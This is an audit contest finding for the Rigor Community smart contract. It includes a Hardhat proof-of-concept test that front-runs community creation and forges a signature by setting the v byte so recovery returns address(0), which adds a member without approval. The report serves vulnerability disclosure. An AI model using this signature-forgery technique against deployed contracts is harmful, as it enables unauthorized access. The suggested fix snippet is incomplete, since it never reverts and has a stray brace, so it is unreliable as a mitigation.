Anybody can join a community before it is made

[code423n4]

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L169-L203
https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/SignatureDecoder.sol#L20-L41

Vulnerability details

Impact

User can stealthily join community without community owner approval. An unwanted user can pass member checks (ask to publish) and more down the line, they can easily front run any community creation and join with no approvals.

Proof of Concept

I ran this code in the test/utils/communityTests.ts file in describe('createCommunity()' tests.

it('Builder should be able to front run community and join without permission', async () => {
        const randomHash = '0x0a19';
        
        // malicious builder can front run 
        // community they want to get in being built
        // especially since community IDs are sequential
        let newCommunityId = (await communityContract.communityCount()).toNumber() + 1
        
        // malicious builder adds themselves to community before it is made
        let data = {
            types: ['uint256', 'address', 'bytes'],
            values: [newCommunityId, signers[0].address, sampleHash],
        }
        let [encodedData, signature] = await multisig(data, [
            signers[0],
            signers[0],
        ])

        // malicious builder should make first signature 
        // cause signature recover to return address(0)
        // we achieve this here by setting the EDSA param v to 30
        // in the first signature
        let vString = BigNumber.from(30).toHexString()
        let v = vString.slice(vString.length - 2) // get last byte for v
        let vLoc = 130 // loc of v byte
        // replace byte with new v value 30
        signature = 
            signature.slice(0, vLoc) + 
            v + 
            signature.slice(vLoc + v.length)

        // add malicious builder
        let tx = await communityContract
            .connect(signers[0])
            .addMember(encodedData, signature)
        await expect(tx).to.emit(communityContract, 'MemberAdded')

        // now create community with a different signer
        tx = await communityContract
          .connect(signers[2])
          .createCommunity(randomHash, tokenCurrency1);
        await tx.wait();
        
        
        // for sanity check see that we can't readd member
        [encodedData, signature] = await multisig(data, [
            signers[2],
            signers[0],
        ])
        let tx2 = communityContract
            .connect(signers[0])
            .addMember(encodedData, signature)
        await expect(tx2).to.be.revertedWith('Community::Member Exists')
      });
  });

Tools Used

tests included in repo, hardhat, chai, js

Recommended Mitigation Steps

I wrote another bug report with these mitigation steps:
I recommend reverting transactions that have signer = 0

I know the project has a mechanism to allow hashes of transactions to be executed by anyone if approved, so I would check this condition first then check the signature. This way you keep the current mechanism working and not allow invalid signatures to come through the pipeline.

example of fix:

function checkSignatureValidity(
        address _address,
        bytes32 _hash,
        bytes memory _signature,
        uint256 _signatureIndex
    ) internal {
        if (approvedHashes[_address][_hash]) {
            // delete from approvedHash
            delete approvedHashes[_address][_hash];
            return;
        }

        // make this revert if signer is 0
        address _recoveredSignature = SignatureDecoder.recoverKey(
            _hash,
            _signature,
            _signatureIndex
        );
    }
    }

[0xA5DF]

Duplicate of #298